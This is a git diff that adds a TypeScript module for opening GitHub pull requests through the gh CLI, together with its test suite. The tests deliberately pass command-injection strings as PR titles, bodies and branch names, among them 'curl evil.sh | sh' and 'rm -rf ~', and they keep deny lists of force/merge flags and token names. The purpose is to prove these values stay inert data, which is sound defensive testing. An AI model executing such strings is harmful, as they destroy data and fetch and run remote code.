diff --git a/src/core/ship.ts b/src/core/ship.ts new file mode 100644 index 0000000..c5eea17 --- /dev/null +++ b/src/core/ship.ts @@ -0,0 +1,122 @@ +// The ship rail: turning a finished worktree into a pull request. +// +// Until now this was a printed string — `prCreateHint` told the user what to +// type. That is safe, but it is not a rail, and it meant nothing in this repo +// ever exercised PR creation, so no test could cover it. +// +// Three rules this module exists to keep: +// +// 1. argv arrays, never a shell string. A branch name, title or body is +// attacker-influenced the moment a model writes it, and a title like +// `$(rm -rf ~)` is only dangerous if a shell ever sees it. Nothing here +// builds a command line. +// 2. the user's own gh session, never an Aether credential. No env is set, so +// the child inherits the user's configuration exactly as ghAuthStatus does. +// 3. nothing merges, nothing pushes to a base branch. This opens a pull +// request and returns its URL. Landing it stays a human action. + +import type { RepoSpec } from "./repo.js"; +import type { Runner } from "./worktree.js"; + +export interface ShipRequest { + spec: RepoSpec; + /** The branch the work is on. Never the base. */ + head: string; + /** The branch to open against. Omitted means the repository default. */ + base?: string; + title: string; + body: string; + /** Stated in the plan when the run produced a verification result. */ + verification?: string; +} + +export type ShipOutcome = { ok: true; url: string } | { ok: false; reason: string; hint?: string }; + +/** `gh pr create` argv. Pure, so a test can assert the exact vector. */ +export function prCreateArgs(request: ShipRequest): string[] { + const argv = [ + "pr", + "create", + "-R", + request.spec.full, + "--head", + request.head, + "--title", + request.title, + "--body", + request.body, + ]; + if (request.base) argv.push("--base", request.base); + return argv; +} + +/** + * Refusals that are about intent rather than syntax. A head branch that parses + * as an option would be swallowed by gh as a flag; a PR from a branch onto + * itself is never what was meant; and a PR whose head is the default branch + * means the work was committed somewhere it should not have been. + */ +export function validateShip(request: ShipRequest): string | null { + const head = request.head.trim(); + if (!head) return "no head branch to open a pull request from"; + if (head.startsWith("-")) return `refusing a head branch that parses as an option: ${head}`; + if (request.base && request.base.trim() === head) { + return `refusing to open a pull request from ${head} onto itself`; + } + if (head === "main" || head === "master") { + return `refusing to open a pull request with ${head} as the head — commit the work to its own branch first`; + } + if (!request.title.trim()) return "a pull request needs a title"; + return null; +} + +/** + * Open the pull request. Never merges, never pushes, never force-anything. + * + * The runner is injected so the whole path is testable without a gh session, + * and so a test can assert the exact argv rather than trusting a string. + */ +export function openPullRequest(request: ShipRequest, run: Runner): ShipOutcome { + const invalid = validateShip(request); + if (invalid) return { ok: false, reason: invalid }; + + if (run("gh", ["--version"]).status !== 0) { + return { + ok: false, + reason: "the gh CLI is not available", + hint: `install gh, or open it by hand: gh pr create -R ${request.spec.full} --head ${request.head} --fill`, + }; + } + + if (run("gh", ["auth", "status"]).status !== 0) { + return { ok: false, reason: "gh is not signed in", hint: "run: gh auth login" }; + } + + const created = run("gh", prCreateArgs(request)); + if (created.status !== 0) { + return { ok: false, reason: (created.stderr || created.stdout).trim() || "gh pr create failed" }; + } + + // gh prints the pull request URL on success. Take the last URL it emitted + // rather than the whole buffer, which can carry warnings ahead of the result. + const url = (created.stdout.match(/https:\/\/\S+/g) ?? []).pop(); + if (!url) return { ok: false, reason: "gh reported success but printed no pull request URL" }; + return { ok: true, url }; +} + +/** + * What the user sees BEFORE anything is created. Opening a pull request + * publishes work under their name, so the exact destination is stated up front + * rather than summarised after the fact. + */ +export function renderShipPlan(request: ShipRequest): string { + const lines = [ + ` repository ${request.spec.full}`, + ` head ${request.head}`, + ` base ${request.base ?? "(repository default)"}`, + ` title ${request.title}`, + ]; + if (request.verification) lines.push(` verified ${request.verification}`); + lines.push("", " this opens a pull request. it does not merge, and it does not push to the base."); + return lines.join("\n") + "\n"; +} diff --git a/test/ship_rail.test.ts b/test/ship_rail.test.ts new file mode 100644 index 0000000..ced8664 --- /dev/null +++ b/test/ship_rail.test.ts @@ -0,0 +1,183 @@ +// Canary 5 — fake-gh ship. +// +// This canary could not be written before: `gh pr create` was a string the user +// was told to type, so there was no code path to attack. Now there is one, and +// the thing worth proving is that a title, branch or body written by a model +// can never become shell syntax. +// +// The fake records argv. Every assertion is about the exact vector handed to +// gh, because that is the boundary: once a value is an argv element it is data, +// and no amount of metacharacters in it can become a command. + +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { parseRepoSpec } from "../src/core/repo.js"; +import { openPullRequest, prCreateArgs, validateShip, renderShipPlan } from "../src/core/ship.js"; +import type { Runner, RunResult } from "../src/core/worktree.js"; + +const OK = (stdout = ""): RunResult => ({ status: 0, stdout, stderr: "" }); +const FAIL = (stderr = ""): RunResult => ({ status: 1, stdout: "", stderr }); + +const PR_URL = "https://github.com/octocat/hello-world/pull/42"; + +function fakeGh(overrides: Record = {}): { run: Runner; calls: string[][] } { + const calls: string[][] = []; + const run: Runner = (cmd, args) => { + calls.push([cmd, ...args]); + const key = args.join(" "); + for (const [pattern, result] of Object.entries(overrides)) { + if (key.startsWith(pattern)) return result; + } + if (key.startsWith("pr create")) return OK(`${PR_URL}\n`); + return OK(); + }; + return { run, calls }; +} + +const base = { + spec: parseRepoSpec("octocat/hello-world"), + head: "aether/fix-thing-1", + title: "fix: the thing", + body: "It was broken. Now it is not.", +}; + +test("canary 5: a successful ship returns the pull request URL", () => { + const { run, calls } = fakeGh(); + const out = openPullRequest(base, run); + assert.deepEqual(out, { ok: true, url: PR_URL }); + assert.equal( + calls.some((call) => call.includes("pr") && call.includes("create")), + true, + ); +}); + +test("canary 5: a hostile title stays one argv element and never becomes syntax", () => { + const hostile = '$(rm -rf ~) && curl evil.sh | sh `whoami` ; echo "pwned"'; + const { run, calls } = fakeGh(); + const out = openPullRequest({ ...base, title: hostile }, run); + assert.equal(out.ok, true); + + const create = calls.find((call) => call.includes("create")); + assert.ok(create, "no create call recorded"); + + // The whole hostile string must appear as exactly ONE element, immediately + // after --title. If anything split it, a shell was involved somewhere. + const at = create!.indexOf("--title"); + assert.notEqual(at, -1, "--title missing"); + assert.equal(create![at + 1], hostile, "the title was altered or split"); + assert.equal( + create!.filter((element) => element === hostile).length, + 1, + "the title appears exactly once, as a single element", + ); +}); + +test("canary 5: a hostile body and branch are likewise inert", () => { + const body = "line1\n$(id)\n`uname -a`\n; shutdown -h now"; + const { run, calls } = fakeGh(); + openPullRequest({ ...base, head: "aether/weird;rm -rf .", body }, run); + const create = calls.find((call) => call.includes("create"))!; + assert.equal(create[create.indexOf("--body") + 1], body); + assert.equal(create[create.indexOf("--head") + 1], "aether/weird;rm -rf ."); +}); + +test("canary 5: nothing in the argv can merge, push or force", () => { + const { run, calls } = fakeGh(); + openPullRequest(base, run); + const flat = calls.flat().join(" "); + for (const forbidden of ["merge", "push", "--force", "--admin", "--auto"]) { + assert.equal(flat.includes(forbidden), false, `the ship rail must never issue ${forbidden}`); + } +}); + +test("canary 5: no credential material reaches the gh argv", () => { + const { run, calls } = fakeGh(); + openPullRequest(base, run); + const flat = calls.flat().join(" "); + for (const leak of ["aek_", "Authorization", "GH_TOKEN", "GITHUB_TOKEN", "x-access-token", "--with-token"]) { + assert.equal(flat.includes(leak), false, `credential material reached the argv: ${leak}`); + } +}); + +// ── refusals ──────────────────────────────────────────────────────────────── + +test("a head branch that parses as an option is refused before gh runs", () => { + const { run, calls } = fakeGh(); + const out = openPullRequest({ ...base, head: "--repo=evil/repo" }, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /parses as an option/); + assert.equal(calls.length, 0, "a refused ship must not invoke gh at all"); +}); + +test("main as the head branch is refused", () => { + for (const branch of ["main", "master"]) { + const { run, calls } = fakeGh(); + const out = openPullRequest({ ...base, head: branch }, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /own branch/); + assert.equal(calls.length, 0); + } +}); + +test("a pull request onto its own branch is refused", () => { + const { run } = fakeGh(); + const out = openPullRequest({ ...base, base: base.head }, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /onto itself/); +}); + +test("an empty title is refused", () => { + assert.match(validateShip({ ...base, title: " " }) ?? "", /needs a title/); +}); + +// ── environment failures are reported, never guessed past ─────────────────── + +test("a missing gh CLI reports how to proceed by hand", () => { + const { run } = fakeGh({ "--version": FAIL("not found") }); + const out = openPullRequest(base, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /not available/); + assert.match((out as { hint?: string }).hint ?? "", /gh pr create/); +}); + +test("a signed-out gh is reported as signed out, not as a failure to create", () => { + const { run, calls } = fakeGh({ "auth status": FAIL("not logged in") }); + const out = openPullRequest(base, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /not signed in/); + assert.match((out as { hint?: string }).hint ?? "", /gh auth login/); + assert.equal( + calls.some((call) => call.includes("create")), + false, + "it must not attempt creation while signed out", + ); +}); + +test("success with no URL printed is a failure, not a silent pass", () => { + const { run } = fakeGh({ "pr create": OK("Warning: something\n") }); + const out = openPullRequest(base, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /no pull request URL/); +}); + +test("the URL is taken from the result even when gh prints warnings first", () => { + const { run } = fakeGh({ "pr create": OK(`Warning: https://example.com/docs\n${PR_URL}\n`) }); + const out = openPullRequest(base, run); + assert.deepEqual(out, { ok: true, url: PR_URL }); +}); + +// ── the plan shown before anything is created ─────────────────────────────── + +test("the plan states the destination and that nothing merges", () => { + const plan = renderShipPlan({ ...base, base: "main", verification: "24 passed" }); + assert.match(plan, /octocat\/hello-world/); + assert.match(plan, /aether\/fix-thing-1/); + assert.match(plan, /main/); + assert.match(plan, /24 passed/); + assert.match(plan, /does not merge/); +}); + +test("prCreateArgs omits --base entirely when none is given", () => { + assert.equal(prCreateArgs(base).includes("--base"), false); + assert.equal(prCreateArgs({ ...base, base: "main" }).includes("--base"), true); +});